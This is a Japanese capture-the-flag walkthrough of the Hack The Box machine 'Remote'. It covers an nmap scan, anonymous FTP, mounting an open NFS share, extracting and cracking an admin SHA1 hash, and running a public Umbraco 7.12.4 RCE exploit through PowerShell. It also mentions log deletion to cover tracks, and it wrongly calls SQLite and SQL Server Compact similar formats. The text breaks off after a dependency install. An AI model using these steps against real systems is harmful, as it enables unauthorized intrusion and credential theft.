本記事では、Hack The Boxにて提供されている「Remote」に関する攻略方法(Walkthrough)について紹介します。
攻略方法
準備
HTBには設定が必要なため、最初にVPNクライアントをダウンロードして設定します。次に、攻撃を行うためのマシンをセットアップします。Kali Linuxは、これらのタイプの課題に一般的に使用されるオペレーティングシステムです。
探索(Reconnaissance)
これはハッキングの初期段階で、対象システムの詳細を収集するためのプロセスです。ツールの例としてはNmap、Netcat、Wiresharkなどがあります。対象のIPアドレス、開いているポート、実行中のサービス、バージョン情報などを見つけ出します。
脆弱性のスキャン(Vulnerability Scanning)
次に、潜在的な脆弱性を特定するためにシステムをスキャンします。これはNessus、Nikto、OpenVASなどのツールを使って行うことができます。
利用(Exploitation)
脆弱性を利用してシステムに侵入します。これには、Metasploit、SQLmap、Burp Suiteなどのツールが使用されることがあります。
特権昇格(Privilege Escalation)
システム内での権限を増やすための工程です。一般的なユーザーアカウントから管理者またはrootアカウントに移動することで、システム全体を制御することができます。
後片付け(Covering Tracks)
侵入を隠すためのステップです。ログの削除や痕跡の消去などを行います。
探索(Reconnaissance)
nmapの結果
┌──(x42s㉿kali)-[~]
└─$ sudo nmap nmap -Pn -T4 -A -v 10.10.10.180
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-08 12:26 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Initiating NSE at 12:26
Completed NSE at 12:26, 0.00s elapsed
Failed to resolve "nmap".
Initiating Parallel DNS resolution of 1 host. at 12:26
Completed Parallel DNS resolution of 1 host. at 12:26, 0.00s elapsed
Initiating SYN Stealth Scan at 12:26
Scanning 10.10.10.180 [1000 ports]
Discovered open port 21/tcp on 10.10.10.180
Discovered open port 80/tcp on 10.10.10.180
Discovered open port 111/tcp on 10.10.10.180
Discovered open port 445/tcp on 10.10.10.180
Discovered open port 135/tcp on 10.10.10.180
Discovered open port 139/tcp on 10.10.10.180
Discovered open port 2049/tcp on 10.10.10.180
Increasing send delay for 10.10.10.180 from 0 to 5 due to 410 out of 1024 dropped probes since last increase.
Increasing send delay for 10.10.10.180 from 5 to 10 due to 11 out of 13 dropped probes since last increase.
Completed SYN Stealth Scan at 12:26, 20.96s elapsed (1000 total ports)
Initiating Service scan at 12:26
Scanning 7 services on 10.10.10.180
Completed Service scan at 12:27, 76.18s elapsed (7 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.180
Retrying OS detection (try #2) against 10.10.10.180
Retrying OS detection (try #3) against 10.10.10.180
Retrying OS detection (try #4) against 10.10.10.180
Retrying OS detection (try #5) against 10.10.10.180
Initiating Traceroute at 12:28
Completed Traceroute at 12:28, 1.02s elapsed
Initiating Parallel DNS resolution of 2 hosts. at 12:28
Completed Parallel DNS resolution of 2 hosts. at 12:28, 0.07s elapsed
NSE: Script scanning 10.10.10.180.
Initiating NSE at 12:28
NSE: [ftp-bounce] PORT response: 501 Server cannot accept argument.
Completed NSE at 12:28, 11.83s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 17.90s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Nmap scan report for 10.10.10.180
Host is up (0.26s latency).
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open nlockmgr 1-4 (RPC #100021)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/8%OT=21%CT=1%CU=40579%PV=Y%DS=2%DC=T%G=Y%TM=64A8D7E9
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=109%TI=I%CI=I%II=I%SS=S%TS=U
OS:)OPS(O1=M53CNW8NNS%O2=M53CNW8NNS%O3=M53CNW8%O4=M53CNW8NNS%O5=M53CNW8NNS%
OS:O6=M53CNNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN(R=Y%D
OS:F=Y%T=80%W=FFFF%O=M53CNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0
OS:%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=
OS:Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R=Y
OS:%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R
OS:%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=
OS:80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z
OS:)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2023-07-08T03:28:15
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
|_clock-skew: -1s
TRACEROUTE (using port 587/tcp)
HOP RTT ADDRESS
1 3.94 ms 10.10.14.1
2 3.81 ms 10.10.10.180
NSE: Script Post-scanning.
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Initiating NSE at 12:28
Completed NSE at 12:28, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.66 seconds
Raw packets sent: 1556 (72.354KB) | Rcvd: 1153 (49.550KB)
ポートとサービスの一覧
-
21/tcp - FTP
このポートは、FTP(ファイル転送プロトコル)用です。このインスタンスはMicrosoft ftpdを使用しており、アノニマスFTPログインが許可されています。 -
80/tcp - HTTP
HTTP (Hypertext Transfer Protocol) 用のポートです。使用されているのはMicrosoft HTTPAPI httpd 2.0で、SSDP/UPnPがサポートされています。サポートされているHTTPメソッドには、GET、HEAD、POST、OPTIONSがあります。 -
111/tcp - RPCBind
このポートは、RPC (Remote Procedure Call) サービスの一部で、RPCBindを使用しています。RPCBindは、クライアントがどのサーバが特定のRPCサービスを提供しているかを判断するのに役立つものです。 -
135/tcp - MSRPC
このポートは、Microsoft WindowsのRPC(Remote Procedure Call)サービスを提供します。 -
139/tcp - NetBIOS-SSN
NetBIOS セッションサービス (SSN) 用のポートで、Windowsのネットワーキングに広く使用されています。 -
445/tcp - Microsoft-DS
Microsoft Directory Services用のポートで、SMBプロトコルによるファイル共有とプリンタ共有を提供します。正確なバージョンは確定していません。 -
2049/tcp - NFS
このポートは、Network File System (NFS) 用で、ここでは特に nlockmgr (Network Lock Manager Protocol) を使用しています。
以上の情報を基に、侵入テストの次のステップを計画できます。ポートとそれぞれのサービスがどのように構成されているかによりますが、特定の脆弱性を持つ可能性があります。例えば、FTPはアノニマスログインが許可されており、これは特定の攻撃に対する脆弱性を示している可能性があります。
侵入テスト結果解説
侵入テストの結果、以下のようにサーバー上で稼働しているサービスが見つかりました。各サービスの詳細とそれぞれの役割について説明します。
FTP (21/tcp)
FTPは「File Transfer Protocol」の略で、その名の通り、ファイルを送受信するためのプロトコルです。ユーザーはFTPサーバーに接続し、ファイルのアップロードやダウンロードを行うことができます。21番のポートを通じて通信が行われます。
今回のテスト結果では、「Microsoft ftpd」と表示されており、MicrosoftのFTPサーバーが稼働していることが分かります。また、「ftp-anon: Anonymous FTP login allowed」という部分から、名前とパスワードを必要とせずにアクセスできる(匿名FTP)設定になっていることが分かります。
HTTP (80/tcp)
HTTPは「Hyper Text Transfer Protocol」の略で、ウェブブラウザとウェブサーバー間でウェブページの情報(HTML、CSS、JavaScript、画像など)を送受信するためのプロトコルです。80番のポートを通じて通信が行われます。
今回のテスト結果では、「Microsoft HTTPAPI httpd 2.0」と表示されており、MicrosoftのHTTPサーバーが稼働していることが分かります。
RPCBIND (111/tcp)
RPCBINDは、RPC (Remote Procedure Call) サービスのためのディレクトリサービスです。クライアントが特定のRPCサービスを見つけることができるようにする役割を持っています。111番のポートを通じて通信が行われます。
今回のテスト結果では、「rpcbind 2-4」と表示されており、RPCBINDのバージョン2から4までがサポートされていることが分かります。
MSRCP (135/tcp)
MSRPCは「Microsoft Remote Procedure Call」の略で、異なるコンピューター間でプログラム機能を共有するためのプロトコルです。135番のポートを通じて通信が行われます。
今回のテスト結果では、「Microsoft Windows RPC」と表示されており、MicrosoftのRPCサーバーが稼働していることが分かります。
NETBIOS-SSN (139/tcp) および MICROSOFT-DS (445/tcp)
これらはWindowsのネットワークファイル共有のためのプロトコルです。それぞれ139番と445番のポートを通じて通信が行われます。
今回のテスト結果では、「Microsoft Windows netbios-ssn」と表示されており、NetBIOSセッションサービスが稼働していることが分かります。また、「microsoft-ds?」と表示されており、おそらくSMB (Server Message Block) サービスが稼働していると推測されます。
NFS (2049/tcp)
NFSは「Network File System」の略で、ネットワークを通じて別のコンピューターのファイルを利用するためのプロトコルです。2049番のポートを通じて通信が行われます。
今回のテスト結果では、「nlockmgr 1-4」と表示されており、NFS Lock Manager (nlockmgr) が稼働していることが分かります。
これらの情報から、当該サーバーはファイル転送、ウェブサービス、リモートプロシージャ呼び出し(RPC)、ネットワークファイル共有などを行うためのサービスが稼働していることが確認できます。
脆弱性のスキャン(Vulnerability Scanning)
スキャン結果に基づいて、次のような可能性のある脆弱性が存在します。
FTPサービス (21/tcp)
FTPサービスは、Microsoft ftpdが稼働しており、匿名FTPログインが許可されています。このため、不適切な権限設定や未更新のソフトウェアにより、攻撃者が内部情報へ不正にアクセスする可能性があります。
21/tcp open ftp Microsoft ftpd
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
以下は、この情報を利用して侵入を試みる基本的なステップです:
FTPサービスに匿名でログイン
まず、匿名でFTPサービスにログインします。
ftp 10.10.10.180
ログインプロンプトが表示されたら、ユーザー名として「anonymous」を入力し、パスワードは空白のままEnterキーを押します。
ディレクトリとファイルのリストを取得
ログインに成功したら、ls
コマンドを使用してディレクトリとファイルのリストを取得します。これにより、サーバー上の情報を取得することができます。
┌──(x42s㉿kali)-[~]
└─$ ftp 10.10.10.180
Connected to 10.10.10.180.
220 Microsoft FTP Service
Name (10.10.10.180:x42s): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49683|)
150 Opening ASCII mode data connection.
226 Transfer complete.
ftp> cd /
250 CWD command successful.
ftp> pwd
Remote directory: /
ftp>
HTTPサービス (80/tcp)
HTTPサービスは、Microsoft HTTPAPI httpd 2.0が稼働しています。古いバージョンのWebサーバーである可能性がありますので、未更新のソフトウェアに起因する脆弱性が存在するかもしれません。また、Webサービスの設定やコンテンツに不適切な部分がある場合、それが攻撃者の手がかりとなる可能性があります。
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
RPCサービス (111/tcp)
RPCサービスが稼働しており、多くのRPCサービスが公開されています。これらのサービスの中には、脆弱性を持つものが存在する可能性があります。特にNFSサービスは、適切な権限設定がなされていない場合、攻撃者によってファイルシステムへの不正アクセスが可能となります。
111/tcp open rpcbind 2-4 (RPC #100000)
SMBサービス (445/tcp)
SMBサービスが稼働しており、これが攻撃者にとっての手がかりとなる可能性があります。特に、メッセージ署名が有効になっていますが、必須ではありません。これにより、Man-in-the-Middle攻撃が可能となる可能性があります。また、古いバージョンのSMBプロトコルが使用されている場合、その脆弱性を利用した攻撃が可能となります。
445/tcp open microsoft-ds?
showmount
は、NFS(Network File System)共有の情報を表示するためのツールです。SMB(Server Message Block)とは異なり、NFSはUNIXベースのシステムで広く使用されているファイル共有プロトコルです。
SMB共有をローカルマシンにマウントするためにshowmount
を使用することはできません。しかし、もしターゲットがNFS共有を持っている場合、showmount
を使用して共有の情報を取得し、その後、それをマウントすることができます。
以下は、showmount
を使用してNFS共有を調査し、Linuxマシンにマウントする手順です:
NFS共有の情報の取得
ターゲットマシンのNFS共有の情報を取得するには、以下のコマンドを実行します。
showmount -e [target IP]
┌──(x42s㉿kali)-[~]
└─$ showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
これにより、ターゲットマシン上で公開されているNFS共有のリストが表示されます。
NFS共有のマウント
- マウントポイントを作成します。例として
/mnt/nfsshare
を使用します。
sudo mkdir /mnt/nfsshare
- NFS共有をマウントします。
sudo mount -t nfs [target IP]:/[path to the NFS share] /mnt/nfsshare
┌──(x42s㉿kali)-[~]
└─$ sudo mount -t nfs 10.10.10.180:/site_backups /mnt/nfsshare
┌──(x42s㉿kali)-[~]
└─$ ls /mnt/nfsshare
App_Browsers App_Data App_Plugins Config Global.asax Media Umbraco Umbraco_Client Views Web.config aspnet_client bin css default.aspx scripts
このコマンドの[path to the NFS share]
は、showmount
の出力から得られるNFS共有のパスです。
これで、NFS共有がローカルマシンにマウントされ、通常のディレクトリとしてアクセスすることができます。
ただし、この手順はNFS共有の場合のみ適用されます。SMB共有には適用されません。
NFS共有フォルダについて
表示されているフォルダとファイルの構造から、これはUmbraco CMS (Content Management System)のインスタンスのルートディレクトリであることがわかります。Umbracoは、.NETベースのオープンソースのCMSであり、ウェブサイトの構築と管理に使用されます。
各ディレクトリとファイルの概要は以下の通りです:
- App_Browsers : ブラウザ定義ファイルが格納されているディレクトリ。
- App_Data : Umbracoの設定、ログ、キャッシュなど、さまざまなデータファイルが格納されているディレクトリ。
- App_Plugins : カスタムまたはサードパーティのUmbracoプラグインが格納されているディレクトリ。
- Config : Umbracoの設定ファイルが格納されているディレクトリ。
- Global.asax : ASP.NETアプリケーションのグローバルなイベントをハンドリングするためのファイル。
- Media : ウェブサイトで使用されるメディアファイル(画像、動画など)が格納されているディレクトリ。
- Umbraco : UmbracoバックエンドのUI関連のファイルが格納されているディレクトリ。
- Umbraco_Client : Umbracoのクライアントサイドのスクリプトやスタイルシートが格納されているディレクトリ。
- Views : MVCアーキテクチャの「ビュー」層のファイルが格納されているディレクトリ。
- Web.config : ASP.NETアプリケーションの主要な設定ファイル。
- aspnet_client : ASP.NETのクライアントサイドのスクリプトやユーティリティが格納されているディレクトリ。
- bin : コンパイルされたDLLファイルや他の実行可能ファイルが格納されているディレクトリ。
- css : ウェブサイトのスタイルシートが格納されているディレクトリ。
- default.aspx : ASP.NETのデフォルトのウェブページ。
- scripts : ウェブサイトのJavaScriptファイルが格納されているディレクトリ。
このフォルダとファイルの構造から、Umbraco CMSのインスタンスがこのサーバー上で動作していることが確認できます。
ここから侵入ための優先順位順に解説します
- Web.config : このファイルはASP.NETアプリケーションの主要な設定ファイルであり、データベース接続文字列やその他の重要な設定情報が含まれている場合があります。
- App_Data : Umbracoの設定、ログ、キャッシュなどのデータファイルが格納されています。中でもログファイルにはエラーメッセージやデバッグ情報が含まれている場合があり、これを元にシステムの脆弱性を特定することができます。
- Config : Umbracoの設定ファイルが格納されているディレクトリ。これらの設定ファイルにはシステムの動作に関する情報や、場合によっては資格情報が含まれていることがあります。
- App_Plugins : カスタムまたはサードパーティのUmbracoプラグインが格納されています。これらのプラグインには脆弱性が含まれている場合があります。
- bin : コンパイルされたDLLファイルや他の実行可能ファイルが格納されています。これらのファイルを分析することで、アプリケーションのロジックや潜在的な脆弱性を特定することができます。
- Views : MVCの「ビュー」層のファイル。これらのファイルを調査することで、アプリケーションのロジックや入力の取り扱いに関する情報を得ることができます。
- scripts & css : ウェブサイトのJavaScriptやスタイルシートは、フロントエンドの動作に関する情報を提供します。特にJavaScriptは、クライアントサイドの脆弱性を特定する際に役立つ可能性があります。
Web.configの解析
Web.config
ファイルの初めの部分を確認したところ、いくつかの設定セクションとUmbracoの設定情報が見受けられます。これはUmbraco CMSの設定ファイルの典型的な内容です。
最も重要な情報は、データベース接続の情報、APIキー、その他のセンシティブな設定が含まれる可能性があります。これらの情報を特定して抽出しましょう。
次に、データベース接続の文字列やその他の潜在的に重要な情報を探します。
以下の情報をWeb.config
ファイルから抽出しました
データベース接続文字列
Data Source=|DataDirectory|\\Umbraco.sdf;Flush Interval=1;
この接続文字列は、Umbracoのローカルデータベースへのパスを示しています。これはSQL Server Compact Editionを使用した場合の標準的な接続文字列の形式です。
アプリケーション設定
いくつかのキーと値のペアが存在しますが、特にセンシティブな情報やAPIキーのようなものは見当たりません。しかし、以下の設定は注意が必要です:
umbracoConfigurationStatus
: Umbracoのバージョン(7.12.4)が示されています。これは、特定のバージョンに存在する脆弱性を探るための情報として利用できます。log4net.Config
: ロギングの設定ファイルのパス。ログファイルにはエラーメッセージやデバッグ情報が含まれている場合があります。
この情報を基に、次のステップはUmbraco 7.12.4の既知の脆弱性を調査することや、ログファイルを確認してさらなる情報を収集することです。
App_Dataの解析
ディレクトリとファイルの構造から、これはUmbraco CMSのApp_Data
ディレクトリの内容です。App_Data
ディレクトリは、Umbracoの設定、ログ、キャッシュなどのデータファイルが格納されている場所です。
各ディレクトリとファイルの概要
- Logs : Umbracoのログファイルが格納されているディレクトリ。エラーメッセージやデバッグ情報が含まれている場合があります。
- Models : Umbraco Models Builderによって生成された、コンテンツモデルのC#クラスが格納されているディレクトリ。
- TEMP : 一時的なファイルが格納されているディレクトリ。キャッシュや一時的なアップロードファイルなどが含まれている可能性があります。
- Umbraco.sdf : SQL Server Compact Editionデータベースファイル。Umbracoのデータベース内容が格納されています。
- cache : Umbracoのキャッシュデータが格納されているディレクトリ。
- packages : Umbracoパッケージのデータが格納されているディレクトリ。
- umbraco.config : UmbracoのXMLキャッシュファイル。公開されているすべてのコンテンツ情報がこのファイルにキャッシュされています。
侵入の足がかりとして特に重要そうな場所
- Logs : ログファイルはシステムの動作やエラーに関する情報を提供する可能性があります。これらの情報を分析することで、システムの脆弱性や設定の誤りを見つける手助けとなるでしょう。
- Umbraco.sdf : このデータベースファイルには、ユーザー情報、コンテンツ、その他の重要なデータが格納されています。ファイルをダウンロードして分析することで、資格情報やシステムの構成情報を取得することができる可能性があります。
- umbraco.config : このXMLキャッシュファイルは公開されているコンテンツ情報を含んでいます。この情報を分析することで、システムの構造や使用されているテクノロジーに関する情報を得ることができます。
- TEMP : このディレクトリには一時的なファイルが格納されており、時折センシティブな情報が含まれている場合があります。
- Models : このディレクトリにはコンテンツモデルのC#クラスが含まれています。これらのクラスを分析することで、アプリケーションのロジックや構造に関する情報を得ることができます。
これらのディレクトリやファイルを優先的に調査することで、Umbraco CMSに関する貴重な情報や潜在的な脆弱性を発見することができるでしょう。
App_DataのLogs解析
UmbracoTraceLog.intranet.txt ファイル
UmbracoTraceLog.intranet.txt
ファイルの冒頭部分には、Umbracoのスケジュールタスクやバックグラウンドタスクの終了に関する情報が含まれているようです。これはUmbracoが定期的に実行するタスクやバックエンドの処理に関するログ情報です。
ただ、この部分だけでは侵入に直接関連する情報は見当たりません。全体的な内容を概観して、エラーメッセージやセンシティブな情報を特定します。
まず、エラーメッセージや特定のキーワードを含むログエントリを探します。
以下は、UmbracoTraceLog.intranet.txt
ファイルから抽出した疑わしいログエントリの一部です:
- Server Registration Error :
Failed to update server record in database
- これはデータベースへの書き込みエラーを示しており、システムの設定やデータベースの状態に関する情報を提供する可能性があります。 - Access Attempt :
1 tried to access 'developer'
- これはユーザーがデベロッパーセクションにアクセスしようとした際のログです。これは不正なアクセスの試みである可能性があります。 - Unhandled Exception :
An unhandled exception occurred
- これはシステムで処理されていないエラーを示しています。この情報を元にシステムの脆弱性を特定することができるかもしれません。 - Password Change Attempt :
Could not change user password Passwords must be at least 10 characters.
- パスワード変更の試みに関するログです。これはブルートフォース攻撃の試みである可能性があります。 - 404 Errors : 複数の404エラーが報告されています。これは存在しないページへのアクセス試みを示しています。
上記のエントリを基に、次のステップは、エラーの詳細や特定のアクセス試みの背後にある原因を調査することです。また、他の2つのログファイルにも同様の情報が含まれている可能性があります。
UmbracoTraceLog.intranet.txt.2020-02-19 ファイル
次に、UmbracoTraceLog.intranet.txt.2020-02-19
ファイルの内容を確認します。
UmbracoTraceLog.intranet.txt.2020-02-19
ファイルから抽出した疑わしいログエントリの一部は以下の通りです:
- Failed to load XML :
Failed to load Xml, file does not exist
- これはUmbracoが必要なXMLファイルを読み込もうとしたが、該当ファイルが存在しなかったことを示しています。これは設定ミスや特定のファイルへのアクセス試みを示している可能性があります。 - No last synced Id :
No last synced Id found, this generally means this is a new server/install
- これは新しいサーバーやインストールに関する情報を示しています。この情報は、システムの構成やセットアップに関する情報を提供する可能性があります。 - Unhandled Exception : 複数のエントリで「An unhandled exception occurred」というメッセージが表示されています。これはシステムで処理されていないエラーを示しています。
- 404 Errors : いくつかの404エラーが報告されています。これは存在しないページへのアクセス試みを示しています。
これらのエントリも、システムの脆弱性や設定の誤りを特定するための情報として利用できる可能性があります。
UmbracoTraceLog.remote.txt ファイル
最後に、UmbracoTraceLog.remote.txt
ファイルの内容を確認します。
UmbracoTraceLog.remote.txt
ファイルから特定のエラーキーワードを持つエントリは見当たりませんでした。これは、このログファイルには重大なエラーまたは警告が記録されていないことを示しています。
ログのまとめ
上記のログファイルの分析を基に、以下の情報が侵入の足がかりとして特に重要であると考えられます:
- エラーメッセージ : ログファイルにはいくつかの未処理の例外やエラーメッセージが記録されています。これらのエラーメッセージはシステムの内部動作や構成に関する情報を提供する可能性があり、システムの脆弱性を特定するための手がかりとなることがあります。
- アクセス試み : ログファイルには特定のセクションへのアクセス試みやパスワード変更の試みが記録されています。これらの情報は、特定のユーザーや操作に関連するシステムの脆弱性や設定の誤りを特定するための手がかりとなることがあります。
- Umbracoのバージョン : 以前の分析で特定されたUmbracoのバージョン(7.12.4)を元に、このバージョンに関連する既知の脆弱性やエクスプロイトを調査することができます。
- データベース接続 :
Umbraco.sdf
というデータベースファイルが存在することが確認されました。このファイルをダウンロードして分析することで、システムの設定情報やユーザー情報を取得することができる可能性があります。
ただし、これらの情報だけでは直接的な侵入は難しいかもしれません。しかし、これらの情報を元に追加の調査を行い、システムの脆弱性や設定の誤りを特定するための手がかりとして利用することができます。
App_DataのUmbraco.sdf解析
Kali Linuxでは、sqlcmd
ユーティリティを使用して SQL Server Compact Edition (*.sdf
) ファイルを読み取ることは直接的には難しいです。しかし、代わりに sqlite3
ツールを使用して試みることができます。SQL Server Compact EditionとSQLiteは似たデータベースエンジンであり、両方とも同じファイル拡張子(.sdf
)を使用することがあるためです。
以下の手順でUmbraco.sdf
ファイルの内容を試みて読み取ることができます:
- SQLite3のインストール :
Kali LinuxにSQLite3がインストールされていない場合、以下のコマンドでインストールできます。
sudo apt update
sudo apt install sqlite3
- SQLite3を使用してデータベースを開く :
sqlite3 /path/to/Umbraco.sdf
- テーブルの一覧表示 :
SQLiteプロンプトで以下のコマンドを実行します。
.tables
┌──(x42s㉿kali)-[/mnt/nfsshare/App_Data]
└─$ sqlite3 Umbraco.sdf
SQLite version 3.42.0 2023-05-16 12:36:15
Enter ".help" for usage hints.
sqlite> .tables
Error: file is not a database
sqlite> ^Z
zsh: suspended sqlite3 Umbraco.sdf
"Error: file is not a database"のエラーは、指定されたファイルがSQLiteのデータベースフォーマットではないことを示しています。このエラーは、ファイルがSQL Server Compact Editionのフォーマットであることを確認するものです。
App_DataのUmbraco.txt解析
Umbraco.txt
ファイルからの抜粋を見ると、以下の情報が含まれているようです:
- ユーザー名(例:
Administrator
,admin
,smith
) - 電子メールアドレス(例:
admin@htb.local
,smith@htb.local
) - ハッシュ化されたパスワード(例:
b8be16afba8c314ad33d812f22a04991b90e2aaa
) - 使用されているハッシュアルゴリズム(例:
SHA1
,HMACSHA256
)
この情報を利用して、以下の攻撃ステップを試みることができます:
- パスワードクラック :
- 抽出したハッシュを使用して、John the RipperやHashcatなどのツールを使用してパスワードをクラックします。
- クラックしたパスワードとユーザー名を使用して、Umbraco管理インターフェースにログインを試みます。
- ユーザー情報の利用 :
- 抽出したユーザー名や電子メールアドレスを使用して、Phishing攻撃や他の攻撃ベクトルを試みることができます。
- Umbracoのバージョン調査 :
- 以前に特定されたUmbracoのバージョンを使用して、公開されている脆弱性やエクスプロイトを調査します。
パスワードとハッシュアルゴリズムの抽出
最初のステップとして、ハッシュ化されたパスワードと使用されているハッシュアルゴリズムを抽出し、これを使用してパスワードクラックを試みます。ハッシュ化されたパスワードとハッシュアルゴリズムのリストを抽出してみましょう。
Umbraco.txt
ファイルから抽出した情報に基づき、以下の情報が見つかりました:
- ユーザー名や電子メールアドレス
- ハッシュ化されたパスワード
- ハッシュアルゴリズム
以下のユーザー名、電子メールアドレス、ハッシュ、およびハッシュアルゴリズムの組み合わせが抽出されました:
- ユーザー名:
Administrator
ハッシュ:b8be16afba8c314ad33d812f22a04991b90e2aaa
ハッシュアルゴリズム:SHA1
- ユーザー名:
admin
電子メールアドレス:admin@htb.local
ハッシュ:b8be16afba8c314ad33d812f22a04991b90e2aaa
ハッシュアルゴリズム:SHA1
- その他のユーザー情報とハッシュ
パスワードクラック
次のステップは、これらのハッシュを使用してパスワードクラックを試みることです。SHA1は比較的弱いハッシュアルゴリズムであるため、John the RipperやHashcatなどのツールを使用して比較的迅速にクラックすることができます。
パスワードは「baconandcheese」
Umbraco CMS 7.12.4の脆弱性
Umbraco CMS 7.12.4は脆弱性を持つことで知られています。特に、Umbraco CMSのバージョン7.12.4には、認証なしのリモートコード実行(RCE)脆弱性が存在します。この脆弱性は、攻撃者がUmbracoサーバーに任意の.NETコードを実行する能力を提供します。
Umbraco-RCEツールのクローン
git clone https://github.com/noraj/Umbraco-RCE
このコマンドは、GitHub上のUmbraco-RCE
というリポジトリをローカルマシンにクローンします。このリポジトリには、Umbraco CMS 7.12.4のRCE脆弱性を利用するためのスクリプトやツールが含まれています。
ディレクトリの変更
cd Umbraco-RCE
このコマンドで、先ほどクローンしたUmbraco-RCE
ディレクトリに移動します。
必要なPythonライブラリのインストール
pip3 install -r requirements.txt
Umbraco-RCE
ツールはPythonで書かれており、特定のPythonライブラリに依存しています。このコマンドで、requirements.txt
にリストされている依存ライブラリをインストールします。
脆弱性の利用
python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a 'hostname; pwd; whoami'
このコマンドは、exploit.py
というPythonスクリプトを使用して、Umbraco CMSのRCE脆弱性を利用します。コマンドの各オプションの説明は以下の通りです:
-u admin@htb.local
: Umbracoのユーザー名。-p baconandcheese
: ユーザーのパスワード。-i 'http://10.10.10.180'
: ターゲットのUmbracoサーバーのURL。-c powershell.exe
: 実行するコマンド(ここではPowerShell)。-a 'hostname; pwd; whoami'
: PowerShellに渡す引数。この例では、ホスト名、現在のディレクトリ、現在のユーザー名を表示します。
このコマンドの実行により、攻撃者はターゲットマシン上で任意のコマンドを実行できるようになります。この例では、ターゲットマシンのホスト名、現在のディレクトリ、現在のユーザー名が表示されています。
コマンドまとめ
(htb_remote) ┌──(x42s㉿kali)-[~/Documents]
└─$ git clone https://github.com/noraj/Umbraco-RCE
Cloning into 'Umbraco-RCE'...
remote: Enumerating objects: 41, done.
remote: Counting objects: 100% (41/41), done.
remote: Compressing objects: 100% (40/40), done.
remote: Total 41 (delta 15), reused 1 (delta 0), pack-reused 0
Receiving objects: 100% (41/41), 11.70 KiB | 749.00 KiB/s, done.
Resolving deltas: 100% (15/15), done.
(htb_remote) ┌──(x42s㉿kali)-[~/Documents]
└─$ cd Umbraco-RCE
(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
└─$ pip3 install -r requirements.txt
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: beautifulsoup4 in /usr/lib/python3/dist-packages (from -r requirements.txt (line 1)) (4.12.2)
Requirement already satisfied: requests in /usr/lib/python3/dist-packages (from -r requirements.txt (line 2)) (2.31.0)
Requirement already satisfied: soupsieve>1.2 in /usr/lib/python3/dist-packages (from beautifulsoup4->-r requirements.txt (line 1)) (2.4.1)
(htb_remote) ┌──(x42s㉿kali)-[~/Documents/Umbraco-RCE]
